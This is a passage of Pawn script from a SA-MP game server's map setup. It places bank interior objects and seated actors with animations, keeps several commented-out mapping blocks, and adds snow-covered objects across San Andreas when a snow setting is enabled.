CreateDynamicObject(8409 , 1452.705566 , 1315.527466 , 1502.253540 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
CreateDynamicObject(8410 , 1452.627686 , 1315.291626 , 1501.140381 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
BankMapLVDar1 = CreateDynamicObject(1566 , 1389.640991 , 1331.839355 , 1498.282959 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
CreateDynamicObject(3117 , 1394.280151 , 1337.453125 , 1492.254883 , 90.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);








BankMapLVActor1 = CreateDynamicActor(219, 1396.454956, 1328.017944, 1501.090698, 202.009995, true, 100.0, 26, 63, -1, 200.00);
BankMapLVActor2 = CreateDynamicActor(211, 1396.443115, 1322.271240, 1501.092773, 202.009995, true, 100.0, 26, 63, -1, 200.00);
BankMapLVActor3 = CreateDynamicActor(208, 1401.232300, 1322.000000, 1501.090698, 163.500000, true, 100.0, 26, 63, -1, 200.00);
BankMapLVActor4 = CreateDynamicActor(194, 1403.118286, 1322.000000, 1501.090698, 163.500000, true, 100.0, 26, 63, -1, 200.00);
BankMapLVActor5 = CreateDynamicActor(119, 1407.630859, 1322.000000, 1501.090698, 163.500000, true, 100.0, 26, 63, -1, 200.00);
BankMapLVActor6 = CreateDynamicActor(192, 1409.518311, 1322.000000, 1501.090698, 163.500000, true, 100.0, 26, 63, -1, 200.00);
CreateDynamicActor(309, 1392.990723, 1317.983887, 1501.085938, 270.000000, true, 100.0, 26, 63, -1, 200.00);
BankMapLVActor8 = CreateDynamicActor(292, 1396.071777, 1320.557861, 1501.090698, 343.904297, true, 100.0, 26, 63, -1, 200.00);
BankMapLVActor9 = CreateDynamicActor(259, 1397.126709, 1320.541870, 1501.090698, 17.548201 , true, 100.0, 26, 63, -1, 200.00);


ApplyDynamicActorAnimation(BankMapLVActor1, "MISC","SEAT_watch",4.0,1,0,0,0,0);
ApplyDynamicActorAnimation(BankMapLVActor2, "MISC","SEAT_LR",4.0,1,0,0,0,0);
ApplyDynamicActorAnimation(BankMapLVActor3, "PED","SEAT_down",3.0,0,1,1,1,0);
ApplyDynamicActorAnimation(BankMapLVActor4, "INT_OFFICE","OFF_Sit_Type_Loop",4.0,1,0,0,0,0);
ApplyDynamicActorAnimation(BankMapLVActor5, "INT_OFFICE","OFF_Sit_Type_Loop",4.0,1,0,0,0,0);
ApplyDynamicActorAnimation(BankMapLVActor6, "INT_OFFICE","OFF_Sit_Type_Loop",4.0,1,0,0,0,0);
ApplyDynamicActorAnimation(BankMapLVActor8, "MISC","Seat_talk_01",4.0,1,0,0,0,0);
ApplyDynamicActorAnimation(BankMapLVActor9, "MISC","Seat_talk_02",4.0,1,0,0,0,0);

// ------------------- [[[[ BANK]]]] ---------------------------------



// food and drink
//CreateDynamicObject(1571, 1146.36670, -931.90259, 43.26280,   0.00000, 0.00000, 42.96000);
// end of that
// CreateDynamicObject(18657, 1283.59045, -821.79437, 89.74000,   -135.00000, -25.00000, -4.00000);
//====================================== [The New Mapping By AliSa 4Rah] =======================================//
/*CreateDynamicObject(19425, 1356.23865, -1053.94348, 25.61584,   0.00000, 0.00000, -4.20000);
CreateDynamicObject(19425, 1351.03027, -1053.53894, 25.62327,   0.00000, 0.00000, -5.10000);
CreateDynamicObject(19425, 1366.17224, -1054.56189, 25.64421,   0.00000, 0.00000, -3.66000);
CreateDynamicObject(19425, 1371.30164, -1054.87476, 25.60952,   0.00000, 0.00000, -2.58000);
CreateDynamicObject(19425, 1351.04895, -1025.70532, 25.47490,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19425, 1356.24268, -1025.63867, 25.48985,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19425, 1365.82300, -1025.54871, 25.51438,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19425, 1370.89429, -1025.57153, 25.51172,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19425, 1378.59692, -1038.93945, 25.45178,   0.00000, 0.00000, 91.44004);
CreateDynamicObject(19425, 1378.49487, -1033.87231, 25.45896,   0.00000, 0.00000, 91.02001);
CreateDynamicObject(19425, 1343.73462, -1039.04895, 25.53675,   0.00000, 0.00000, 90.47995);
CreateDynamicObject(19425, 1343.66479, -1033.78821, 25.56263,   0.00000, 0.00000, -89.58001);
CreateDynamicObject(1280, 1342.18445, -1013.28369, 30.20457,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1280, 1342.19739, -1020.04889, 30.20269,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(3472, 1342.15295, -1024.86877, 29.81200,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1280, 1335.96924, -1025.28833, 30.25658,   0.00000, 0.00000, -87.72003);
CreateDynamicObject(1280, 1327.80981, -1025.64978, 30.21266,   0.00000, 0.00000, -87.77999);
CreateDynamicObject(1280, 1318.90662, -1025.96021, 30.23687,   0.00000, 0.00000, -87.59998);
CreateDynamicObject(1280, 1312.21838, -1022.44116, 33.28178,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(955, 1341.33032, -1006.65009, 30.21558,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1280, 1308.33521, -1027.06055, 33.30961,   0.00000, 0.00000, -89.10002);
CreateDynamicObject(1280, 1299.22522, -1027.20679, 33.29041,   0.00000, 0.00000, -88.91998);
CreateDynamicObject(3472, 1312.04993, -1026.35510, 32.89143,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1280, 1292.06604, -1019.87933, 33.30957,   0.00000, 0.00000, 180.17995);
CreateDynamicObject(1280, 1292.05811, -1011.40649, 33.27092,   0.00000, 0.00000, 179.70001);
CreateDynamicObject(1209, 1296.88745, -1006.48486, 32.89322,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(956, 1295.00293, -1006.57257, 33.27193,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1223, 1379.93677, -1058.05713, 26.46875,   0.00000, 0.00000, 178.20018);
CreateDynamicObject(1223, 1379.18921, -1068.84863, 26.43052,   0.00000, 0.00000, 172.56007);
CreateDynamicObject(19425, 1331.98254, -1140.59509, 22.66088,   0.00000, 0.00000, -90.11997);
CreateDynamicObject(19425, 1332.09485, -1149.93811, 22.66915,   0.00000, 0.00000, -89.64005);
CreateDynamicObject(19425, 1368.11145, -1138.30652, 22.68506,   0.00000, 0.00000, 89.51997);
CreateDynamicObject(19425, 1368.03662, -1143.40564, 22.65654,   0.00000, 0.00000, 89.16003);*/
//-----------------------
//====================================== [The New Mapping By SiNaGaMeR] =======================================//
//Start
// CreateDynamicObject(6286, -2036.24634, -266.66769, 39.28240,   0.00000, 0.00000, -182.52000);
//CreateDynamicObject(1491, -2058.26782, -276.88138, 34.30703,   0.00000, 0.00000, 85.20001);
//CreateDynamicObject(19376, -2057.67847, -270.54184, 34.30745,   0.00000, 0.00000, -4.02001);
//CreateDynamicObject(19376, -2057.36157, -260.48138, 34.30735,   0.00000, 0.00000, -1.86000);
// --------------- Illicit House
CreateDynamicObject(18267, -1113.71606, -1651.68359, 76.84753,   0.00000, 0.00000, 268.61987);
// -----------------------------
//CreateDynamicObject(19376, -2057.58130, -264.75281, 34.31048,   0.00000, 0.00000, 0.00000);





// Start of Barf (Snow on whole San Andreas)
if(SnowMap == 1)
{
AddSnowObject(4510, -2676.300, 1541.339, 64.976, 0.000, 0.000, -89.999, 238.4);
AddSnowObject(4511, -2687.000, 2058.199, 59.734, 0.000, 0.000, 89.999, 209.1);
AddSnowObject(4523, -1592.780, 622.781, 42.968, 0.000, 0.000, 0.000, 199.4);
AddSnowObject(4524, -1141.719, 1098.050, 39.476, 0.000, 0.000, 0.000, 221.7);
AddSnowObject(4527, -1009.590, 943.812, 35.476, 0.000, 0.000, 178.655, 143.9);
AddSnowObject(16683, -426.523, 558.132, 16.351, 0.000, 0.000, 168.768, 146.9);
AddSnowObject(16224, -428.640, 604.625, 1.960, 0.000, 0.000, 0.000, 263.1);
AddSnowObject(3330, -568.156, 624.804, 2.023, 0.000, 0.000, 67.249, 140.6);
AddSnowObject(16223, -628.867, 650.132, 15.382, 0.000, 0.000, 0.000, 240.6);
AddSnowObject(3330, -642.304, 657.703, 2.023, 0.000, 0.000, 67.249, 140.6);
AddSnowObject(3330, -715.296, 690.304, 2.023, 0.000, 0.000, 67.249, 140.6);
AddSnowObject(16219, -409.187, 828.289, 4.328, 0.000, 0.000, 0.000, 281.8);
AddSnowObject(16225, -232.391, 597.234, 0.039, 0.000, 0.000, 0.000, 278.1);
AddSnowObject(3381, -196.789, 290.179, 17.695, 0.000, 0.000, -14.999, 142.2);
AddSnowObject(16220, -192.492, 822.179, 17.187, 0.000, 0.000, 0.000, 278.5);
AddSnowObject(3330, -178.718, 326.539, -3.539, 0.000, 0.000, -15.134, 140.6);
AddSnowObject(3381, -176.352, 367.523, 17.695, 0.000, 0.000, -14.999, 142.2);
AddSnowObject(16422, -243.397, 1007.619, 18.382, 0.000, 0.000, 83.700, 195.6);
AddSnowObject(3381, -439.085, 1041.410, 16.648, -0.000, 0.000, -119.999, 142.2);
AddSnowObject(3330, -477.726, 1054.160, -4.585, 0.000, 0.000, 59.865, 140.6);
AddSnowObject(16384, -480.789, 1055.729, 9.296, 0.000, 0.000, 150.250, 180.7);
AddSnowObject(16007, -177.438, 1056.390, 22.812, 0.000, 0.000, 179.999, 142.1);
AddSnowObject(16215, -431.382, 1062.189, -0.890, 0.000, 0.000, 0.000, 243.2);
AddSnowObject(16005, -209.664, 1066.520, 22.257, 0.000, 0.000, 0.000, 133.4);
AddSnowObject(16358, -168.320, 367.242, 10.664, 0.000, 0.000, 75.250, 220.2);
AddSnowObject(3330, -158.352, 403.906, -3.539, 0.000, 0.000, -15.134, 140.6);
AddSnowObject(3381, -155.983, 444.890, 17.695, 0.000, 0.000, -14.999, 142.2);
AddSnowObject(16420, -129.641, 581.000, 6.554, 0.000, 0.000, 103.000, 155.2);
AddSnowObject(16423, -155.531, 1015.659, 18.578, 0.000, 0.000, 179.831, 195.5);
AddSnowObject(16226, -51.875, 547.851, -6.984, 0.000, 0.000, 0.000, 244.8);
AddSnowObject(16227, -4.343, 611.390, -0.640, 0.000, 0.000, 0.000, 273.6);
AddSnowObject(16217, 15.468, 1061.130, 16.437, 0.000, 0.000, 0.000, 259.0);
AddSnowObject(16221, 47.351, 840.039, 21.609, 0.000, 0.000, 0.000, 276.4);
AddSnowObject(3381, -508.570, 1081.069, 16.648, -0.000, 0.000, -119.999, 142.2);
AddSnowObject(16421, -266.335, 1107.199, 18.671, 0.000, 0.000, -63.434, 220.0);
AddSnowObject(16424, -180.233, 1126.479, 18.796, 0.000, 0.000, 88.947, 172.3);
AddSnowObject(16060, -192.046, 1147.390, 17.695, 0.000, 0.000, 0.000, 137.1);
AddSnowObject(16064, -161.171, 1179.530, 22.492, 0.000, 0.000, 0.000, 132.6);
AddSnowObject(16213, -145.460, 1230.310, 15.359, 0.000, 0.000, 0.000, 229.2);
AddSnowObject(16025, -329.953, 1249.979, 28.265, 0.000, 0.000, 0.000, 203.1);
AddSnowObject(16264, -303.468, 1281.339, 37.648, 0.000, 0.000, 0.000, 178.3);
AddSnowObject(16143, -324.148, 1302.229, 52.664, 0.000, 0.000, 0.000, 135.4);
AddSnowObject(16212, -377.351, 1302.910, 3.125, 0.000, 0.000, 0.000, 267.5);
AddSnowObject(16145, -362.468, 1314.660, 29.421, 0.000, 0.000, 154.622, 183.1);
AddSnowObject(16142, -268.820, 1335.660, 55.304, 0.000, 0.000, 0.000, 180.3);
AddSnowObject(16149, -175.983, 1361.800, 40.968, 0.000, 0.000, 0.000, 255.0);
AddSnowObject(16141, -166.054, 1395.790, 12.710, 0.000, 0.000, 150.499, 176.0);
AddSnowObject(16335, -225.188, 1394.839, 68.578, 0.000, 0.000, -29.999, 157.7);
AddSnowObject(16109, -344.062, 1398.699, 49.835, 0.000, 0.000, 0.000, 245.9);
AddSnowObject(16262, -459.992, 1481.050, 5.000, 0.000, 0.000, 0.000, 181.4);
AddSnowObject(16114, -164.522, 1484.160, 20.812, 0.000, 0.000, 0.000, 139.1);
AddSnowObject(16139, -372.445, 1495.959, 61.906, 0.000, 0.000, 0.000, 135.9);
AddSnowObject(16110, -167.272, 1507.699, 26.804, 0.000, 0.000, 0.000, 137.6);
AddSnowObject(16140, -422.507, 1554.949, 34.421, 0.000, 0.000, 0.000, 181.4);
AddSnowObject(16147, -190.313, 1565.300, 42.460, 0.000, 0.000, 0.000, 241.3);
AddSnowObject(16148, -352.281, 1577.540, 52.265, 0.000, 0.000, 0.000, 233.1);
AddSnowObject(16116, -207.671, 1585.810, 15.765, 0.000, 0.000, 0.000, 138.9);
AddSnowObject(16136, -350.062, 1594.339, 75.312, 0.000, 0.000, -44.986, 135.4);
AddSnowObject(16613, -346.671, 1595.079, 79.664, 0.000, 0.000, 44.999, 163.4);
AddSnowObject(16117, -235.477, 1603.489, 32.585, 0.000, 0.000, 0.000, 137.0);
AddSnowObject(16386, -117.765, 1079.459, 22.218, 0.000, 0.000, 89.999, 135.9);
AddSnowObject(16216, -108.319, 1120.550, 18.867, 0.000, 0.000, 80.741, 175.9);
AddSnowObject(16026, -138.296, 1283.390, 21.921, 0.000, 0.000, 0.000, 204.8);
AddSnowObject(16571, -72.851, 1292.439, 14.789, 0.000, 0.000, -1.557, 138.7);
AddSnowObject(16230, -7.148, 1540.699, 19.085, 0.000, 0.000, 0.000, 268.3);
AddSnowObject(16235, 26.843, 1312.520, 14.523, 0.000, 0.000, 0.000, 272.7);
AddSnowObject(16214, 51.382, 1230.530, 13.500, 0.000, 0.000, 0.000, 194.0);
AddSnowObject(16027, 72.437, 1276.510, 19.523, 0.000, 0.000, 0.000, 212.3);
AddSnowObject(16197, 94.546, 2165.419, 70.015, 0.000, 0.000, 0.000, 277.8);
AddSnowObject(16256, 234.992, 2341.820, 19.390, 0.000, 0.000, 0.000, 244.8);
AddSnowObject(16183, 230.132, 2483.689, 15.476, 0.000, 0.000, 0.000, 254.7);
AddSnowObject(16098, 307.953, 2543.449, 20.398, 0.000, 0.000, -89.999, 130.7);
AddSnowObject(16177, 200.391, 2646.270, 41.656, 0.000, 0.000, 0.000, 287.9);
AddSnowObject(16172, 267.296, 2867.219, 58.398, 0.000, 0.000, 0.000, 292.5);
AddSnowObject(16009, 279.664, 2729.939, 35.937, 0.000, 0.000, 0.000, 155.6);
AddSnowObject(16675, 302.218, 2693.570, 19.218, 0.000, 0.000, -112.788, 189.4);
AddSnowObject(16259, 312.085, 2081.409, 18.851, 0.000, 0.000, 0.000, 239.3);
AddSnowObject(16198, 311.265, 2210.239, 29.398, 0.000, 0.000, 0.000, 241.4);
AddSnowObject(16194, 362.640, 2320.020, 32.156, 0.000, 0.000, 0.000, 188.3);
AddSnowObject(16684, 329.898, 2504.270, 15.570, 0.000, 0.000, -0.286, 226.5);
AddSnowObject(16771, 404.796, 2454.719, 22.054, 0.000, 0.000, 0.000, 135.1);
AddSnowObject(16178, 407.164, 2622.969, 48.882, 0.000, 0.000, 0.000, 272.6);
AddSnowObject(16187, 642.218, 2152.040, 23.703, 0.000, 0.000, 0.000, 255.9);
AddSnowObject(16199, 515.265, 2158.719, 38.625, 0.000, 0.000, 0.000, 253.0);
AddSnowObject(16035, 731.757, 2290.659, 16.515, 0.000, 0.000, 0.000, 234.5);
AddSnowObject(16260, 491.132, 2321.419, 33.609, 0.000, 0.000, 0.000, 175.5);
AddSnowObject(16184, 464.757, 2396.209, 30.773, 0.000, 0.000, 0.000, 269.7);
AddSnowObject(16185, 647.976, 2391.199, 29.109, 0.000, 0.000, 0.000, 259.0);
AddSnowObject(3330, 703.484, 2364.219, 18.773, 0.000, 0.000, 46.865, 140.6);
AddSnowObject(16173, 499.101, 2904.280, 64.679, 0.000, 0.000, 0.000, 258.6);
AddSnowObject(16255, 502.617, 2776.379, 93.773, 0.000, 0.000, 0.000, 226.2);
AddSnowObject(16179, 616.914, 2615.290, 48.718, 0.000, 0.000, 0.000, 280.5);
AddSnowObject(16174, 722.070, 2868.129, 61.562, 0.000, 0.000, 0.000, 288.7);
AddSnowObject(16100, 767.507, 2071.070, 7.164, 0.000, 0.000, 89.999, 132.2);
AddSnowObject(16188, 785.140, 2183.590, 11.695, 0.000, 0.000, 0.000, 234.3);
AddSnowObject(3330, 765.867, 2342.070, 16.359, 0.000, 0.000, 91.865, 140.6);
AddSnowObject(16036, 776.632, 2544.500, 19.507, 0.000, 0.000, 0.000, 234.2);
AddSnowObject(16180, 785.632, 2622.120, 44.812, 0.000, 0.000, 0.000, 254.3);
AddSnowObject(16186, 804.390, 2412.090, 19.601, 0.000, 0.000, 0.000, 253.2);
AddSnowObject(3330, 832.265, 2371.889, 16.359, 0.000, 0.000, 129.365, 140.6);
AddSnowObject(16024, 873.250, 2715.060, 22.000, 0.000, 0.000, 0.000, 175.3);
AddSnowObject(16175, 893.648, 2866.179, 25.835, 0.000, 0.000, 89.998, 256.0);
AddSnowObject(16181, 915.335, 2626.709, 29.476, 0.000, 0.000, 0.000, 245.9);
AddSnowObject(16156, 965.953, 2759.840, 16.765, 0.000, 0.000, -161.835, 137.7);
AddSnowObject(16228, 176.742, 639.343, -1.929, 0.000, 0.000, 0.000, 254.6);
AddSnowObject(16222, 194.593, 847.796, 16.632, 0.000, 0.000, 0.000, 243.0);
AddSnowObject(16218, 143.000, 1075.810, 20.109, 0.000, 0.000, 0.000, 239.0);
AddSnowObject(16229, 326.585, 652.718, -7.273, 0.000, 0.000, 0.000, 216.4);
AddSnowObject(16295, 330.750, 888.382, 20.281, 0.000, 0.000, 0.000, 183.3);
AddSnowObject(16245, 331.539, 882.617, 17.007, 0.000, 0.000, 0.000, 276.8);
AddSnowObject(16246, 336.078, 676.359, -6.070, 0.000, 0.000, 0.000, 258.5);
AddSnowObject(16241, 265.671, 1091.569, 18.195, 0.000, 0.000, 0.000, 278.4);
AddSnowObject(16298, 382.750, 806.585, 13.406, 0.000, 0.000, 0.000, 180.7);
AddSnowObject(3331, 445.421, 565.468, 24.554, 0.000, 0.000, 35.000, 141.8);
AddSnowObject(16357, 475.125, 537.437, 17.585, 0.000, 0.000, 124.999, 180.4);
AddSnowObject(3330, 475.234, 537.320, 3.320, 0.000, 0.000, 34.865, 140.6);
AddSnowObject(16057, 478.054, 879.140, -6.640, 0.000, 0.000, 0.000, 241.2);
AddSnowObject(3331, 491.312, 499.937, 24.554, 0.000, 0.000, 35.000, 141.8);
AddSnowObject(3330, 521.117, 471.789, 3.320, 0.000, 0.000, 34.865, 140.6);
AddSnowObject(16247, 558.601, 699.484, -1.468, 0.000, 0.000, 0.000, 251.2);
AddSnowObject(3331, 537.195, 434.406, 24.554, 0.000, 0.000, 35.000, 141.8);
AddSnowObject(16297, 539.226, 733.187, 8.507, 0.000, 0.000, 0.000, 192.8);
AddSnowObject(16676, 553.101, 928.828, -41.585, 0.000, 0.000, 11.514, 132.1);
AddSnowObject(16299, 462.578, 1005.109, 28.992, 0.000, 0.000, 0.000, 180.2);
AddSnowObject(16263, 508.328, 1023.169, 22.773, 0.000, 0.000, 0.000, 240.1);
AddSnowObject(16242, 499.796, 1125.199, 17.593, 0.000, 0.000, 0.000, 250.0);
AddSnowObject(3330, 567.007, 406.250, 3.320, 0.000, 0.000, 34.865, 140.6);
AddSnowObject(16430, 566.898, 406.375, 17.585, 0.000, 0.000, -55.000, 180.4);
AddSnowObject(3331, 583.085, 368.875, 24.554, 0.000, 0.000, 35.000, 141.8);
AddSnowObject(16058, 622.164, 763.148, -7.804, 0.000, 0.000, 0.000, 234.7);
AddSnowObject(16080, 600.632, 829.359, -35.734, 0.000, 0.000, 0.000, 162.4);
AddSnowObject(16085, 627.867, 850.273, -42.773, 0.000, 0.000, 89.999, 135.0);
AddSnowObject(16300, 706.960, 730.937, 20.664, 0.000, 0.000, 0.000, 189.4);
AddSnowObject(16055, 725.093, 862.578, -7.804, 0.000, 0.000, 0.000, 244.4);
AddSnowObject(16248, 755.476, 691.984, 4.046, 0.000, 0.000, 0.000, 231.6);
AddSnowObject(16249, 882.570, 719.656, 2.132, 0.000, 0.000, 0.000, 205.0);
AddSnowObject(16321, 787.750, 790.835, 17.890, 0.000, 0.000, 0.000, 140.5);
AddSnowObject(16593, 868.226, 868.562, 15.992, 0.000, 0.000, 0.000, 258.8);
AddSnowObject(16059, 606.976, 872.117, -42.679, 0.000, 0.000, 0.000, 216.1);
AddSnowObject(16077, 594.929, 926.414, -41.195, 0.000, 0.000, 0.000, 163.9);
AddSnowObject(16677, 691.070, 905.445, -38.640, 0.000, 0.000, -5.901, 133.2);
AddSnowObject(16334, 709.445, 915.929, 34.617, 0.000, 0.000, 84.000, 188.3);
AddSnowObject(16320, 777.125, 938.445, 21.414, 0.000, 0.000, 0.000, 189.8);
AddSnowObject(16056, 614.507, 974.703, -8.492, 0.000, 0.000, 0.000, 228.9);
AddSnowObject(16296, 638.421, 1029.459, 26.742, 0.000, 0.000, 0.000, 199.9);
AddSnowObject(16243, 732.039, 1068.800, 19.773, 0.000, 0.000, 0.000, 269.8);
AddSnowObject(16244, 893.265, 1077.119, 20.664, 0.000, 0.000, 0.000, 231.5);
AddSnowObject(16266, 263.984, 1224.609, 17.710, 0.000, 0.000, -46.500, 146.1);
AddSnowObject(16028, 297.851, 1230.469, 19.765, 0.000, 0.000, 0.000, 222.6);
AddSnowObject(16236, 252.250, 1318.589, 13.703, 0.000, 0.000, 0.000, 269.5);
AddSnowObject(16392, 150.078, 1378.339, 11.843, 0.000, 0.000, 0.000, 158.0);
AddSnowObject(16391, 239.296, 1367.989, 11.835, 0.000, 0.000, 0.000, 159.3);
AddSnowObject(16086, 232.289, 1434.479, 13.500, 0.000, 0.000, 0.000, 150.3);
AddSnowObject(16393, 149.375, 1452.939, 11.851, 0.000, 0.000, 0.000, 150.6);
AddSnowObject(16394, 238.272, 1452.939, 11.835, 0.000, 0.000, 0.000, 159.2);
AddSnowObject(16231, 228.445, 1526.739, 19.937, 0.000, 0.000, 0.000, 259.8);
AddSnowObject(16087, 358.679, 1430.449, 11.617, 0.000, 0.000, 0.011, 170.4);
AddSnowObject(16535, 409.625, 1320.500, 12.335, 0.000, 0.000, -0.075, 209.8);
AddSnowObject(16237, 441.976, 1327.260, 11.835, 0.000, 0.000, 0.000, 262.7);
AddSnowObject(16029, 522.382, 1255.199, 14.250, 0.000, 0.000, 0.000, 221.5);
AddSnowObject(16272, 579.437, 1249.160, 22.500, 0.000, 0.000, 29.999, 152.0);
AddSnowObject(16240, 597.414, 1267.920, 9.359, 0.000, 0.000, 0.000, 234.8);
AddSnowObject(16239, 826.085, 1306.209, 20.585, 0.000, 0.000, 0.000, 276.8);
AddSnowObject(16238, 632.375, 1324.800, 11.953, 0.000, 0.000, 0.000, 200.5);
AddSnowObject(16766, 498.039, 1428.079, 7.164, 0.000, 0.000, 0.001, 176.5);
AddSnowObject(16530, 414.289, 1496.229, 11.625, 0.000, 0.000, 0.000, 159.8);
AddSnowObject(16532, 497.500, 1507.599, 5.250, 0.000, 0.000, 90.598, 132.4);
AddSnowObject(16232, 445.218, 1555.750, 19.085, 0.000, 0.000, 0.000, 263.9);
AddSnowObject(16531, 465.492, 1552.089, 9.640, 0.000, 0.000, 1.759, 141.6);
AddSnowObject(16534, 566.335, 1372.890, 12.179, 0.000, 0.000, 88.841, 157.9);
AddSnowObject(16267, 638.601, 1404.989, 11.937, 0.000, 0.000, -89.869, 170.8);
AddSnowObject(16030, 687.882, 1399.630, 10.132, 0.000, 0.000, 0.000, 215.0);
AddSnowObject(16250, 643.468, 1456.920, 9.226, 0.000, 0.000, 0.000, 221.0);
AddSnowObject(16533, 588.640, 1483.939, 8.937, 0.000, 0.000, 0.388, 166.8);
AddSnowObject(16234, 845.500, 1535.459, 15.429, 0.000, 0.000, 0.000, 261.5);
AddSnowObject(16233, 643.882, 1591.890, 10.265, 0.000, 0.000, 0.000, 214.8);
AddSnowObject(16376, -606.085, 1910.099, 9.140, 0.000, 0.000, -13.999, 205.8);
AddSnowObject(16169, -792.218, 2260.649, 77.460, 0.000, 0.000, 0.000, 210.3);
AddSnowObject(16395, -763.632, 2307.479, 136.882, 0.000, 0.000, 0.000, 203.3);
AddSnowObject(16694, -775.765, 2331.040, 125.258, 0.000, 0.000, 0.000, 242.1);
AddSnowObject(16167, -580.242, 2365.399, 79.679, 0.000, 0.000, 0.000, 276.4);
AddSnowObject(16411, -806.007, 2387.669, 153.516, 0.000, 0.000, 0.000, 131.3);
AddSnowObject(16131, -581.812, 2389.370, 67.375, 0.000, 0.000, -0.000, 190.9);
AddSnowObject(16211, -468.937, 1606.829, 30.945, 0.000, 0.000, 0.000, 200.2);
AddSnowObject(16206, -497.429, 1747.589, 66.992, 0.000, 0.000, 0.000, 270.5);
AddSnowObject(16133, -452.226, 1833.270, 67.414, 0.000, 0.000, 177.500, 135.6);
AddSnowObject(16200, -487.601, 1929.910, 66.992, 0.000, 0.000, 0.000, 290.3);
AddSnowObject(16097, -462.179, 2081.830, 65.695, 0.000, 0.000, 0.000, 243.2);
AddSnowObject(16112, -385.867, 1703.250, 32.031, 0.000, 0.000, 0.000, 134.5);
AddSnowObject(16119, -338.296, 1920.969, 41.421, 0.000, 0.000, 0.000, 170.6);
AddSnowObject(16135, -326.289, 1851.410, 41.734, 0.000, 0.000, 89.999, 137.2);
AddSnowObject(16127, -334.156, 2061.030, 60.679, 0.000, 0.000, 0.000, 136.2);
AddSnowObject(16022, -313.992, 1742.819, 41.742, 0.000, 0.000, 0.000, 132.1);
AddSnowObject(16170, -430.398, 2215.659, 25.273, 0.000, 0.000, 0.000, 191.2);
AddSnowObject(16195, -343.539, 2152.719, 77.523, 0.000, 0.000, 0.000, 282.0);
AddSnowObject(16123, -405.390, 2372.909, 41.835, 0.000, 0.000, -0.000, 152.7);
AddSnowObject(16168, -417.507, 2378.790, 74.562, 0.000, 0.000, 0.000, 234.4);
AddSnowObject(16113, -285.984, 1644.300, 23.593, 0.000, 0.000, 0.000, 138.4);
AddSnowObject(16115, -236.593, 1702.449, 32.703, 0.000, 0.000, 0.000, 179.3);
AddSnowObject(16207, -271.539, 1740.469, 57.789, 0.000, 0.000, 0.000, 250.8);
AddSnowObject(16111, -264.531, 1842.719, 46.656, 0.000, 0.000, 0.000, 136.9);
AddSnowObject(16124, -269.179, 1967.199, 50.898, 0.000, 0.000, 0.000, 136.3);
AddSnowObject(16201, -253.882, 1922.979, 72.710, 0.000, 0.000, 0.000, 284.2);
AddSnowObject(16120, -273.179, 2058.219, 25.109, 0.000, 0.000, 0.000, 138.5);
AddSnowObject(16122, -240.125, 2128.290, 19.367, 0.000, 0.000, -0.000, 160.4);
AddSnowObject(16125, -184.522, 2300.149, 42.054, 0.000, 0.000, 0.000, 191.4);
AddSnowObject(16192, -264.984, 2387.010, 64.812, 0.000, 0.000, 0.000, 283.9);
AddSnowObject(16118, -132.397, 1632.660, 12.710, 0.000, 0.000, 0.000, 136.2);
AddSnowObject(16121, -125.515, 1904.189, 13.890, 0.000, 0.000, -0.000, 137.4);
AddSnowObject(16196, -120.585, 2152.229, 61.398, 0.000, 0.000, 0.000, 281.2);
AddSnowObject(16193, -113.210, 2389.840, 31.632, 0.000, 0.000, 0.000, 188.3);
AddSnowObject(16208, -36.531, 1721.219, 26.195, 0.000, 0.000, 0.000, 248.3);
AddSnowObject(16202, -21.453, 1991.380, 21.320, 0.000, 0.000, 0.000, 236.7);
AddSnowObject(16261, -25.398, 1868.180, 20.007, 0.000, 0.000, 0.000, 238.8);
AddSnowObject(16258, -35.632, 2263.590, 72.828, 0.000, 0.000, 0.000, 240.5);
AddSnowObject(16182, 10.226, 2402.729, 15.242, 0.000, 0.000, 0.000, 269.9);
AddSnowObject(16693, -810.304, 2433.959, 115.914, 0.000, 0.000, 0.000, 242.4);
AddSnowObject(16166, -701.406, 2427.199, 116.491, 0.000, 0.000, 0.000, 211.2);
AddSnowObject(16129, -750.156, 2493.479, 92.679, 0.000, 0.000, -170.750, 173.2);
AddSnowObject(16254, -587.671, 2466.590, 62.976, 0.000, 0.000, 0.000, 237.5);
AddSnowObject(16252, -848.617, 2595.570, 70.296, 0.000, 0.000, 0.000, 237.4);
AddSnowObject(16364, -917.507, 2668.949, 41.367, 0.000, 0.000, 44.999, 141.7);
AddSnowObject(16126, -811.851, 2673.649, 65.078, 0.000, 0.000, 137.892, 181.3);
AddSnowObject(16037, -1143.709, 2696.840, 48.734, 0.000, 0.000, -173.359, 165.4);
AddSnowObject(16610, -1024.410, 2710.719, 48.406, 0.000, 0.000, -173.359, 167.7);
AddSnowObject(16162, -909.117, 2711.750, 31.429, 0.000, 0.000, 0.000, 241.3);
AddSnowObject(16163, -670.539, 2639.979, 98.015, 0.000, 0.000, 0.000, 285.2);
AddSnowObject(16010, -569.617, 2593.530, 56.406, 0.000, 0.000, 0.000, 142.4);
AddSnowObject(16157, -999.460, 2853.199, 62.835, 0.000, 0.000, 0.000, 314.2);
AddSnowObject(16158, -759.539, 2860.709, 44.054, 0.000, 0.000, 0.000, 299.9);
AddSnowObject(16251, -513.101, 2796.949, 84.789, 0.000, 0.000, 0.000, 247.7);
AddSnowObject(16159, -512.820, 2919.709, 54.984, 0.000, 0.000, 0.000, 268.0);
AddSnowObject(16130, -481.039, 2410.929, 55.960, 0.000, 0.000, 0.000, 158.3);
AddSnowObject(16104, -453.140, 2524.860, 48.546, 0.000, 0.000, 0.000, 222.5);
AddSnowObject(16253, -459.835, 2567.810, 78.835, 0.000, 0.000, 0.000, 261.4);
AddSnowObject(16165, -223.843, 2538.209, 34.859, 0.000, 0.000, 0.000, 258.6);
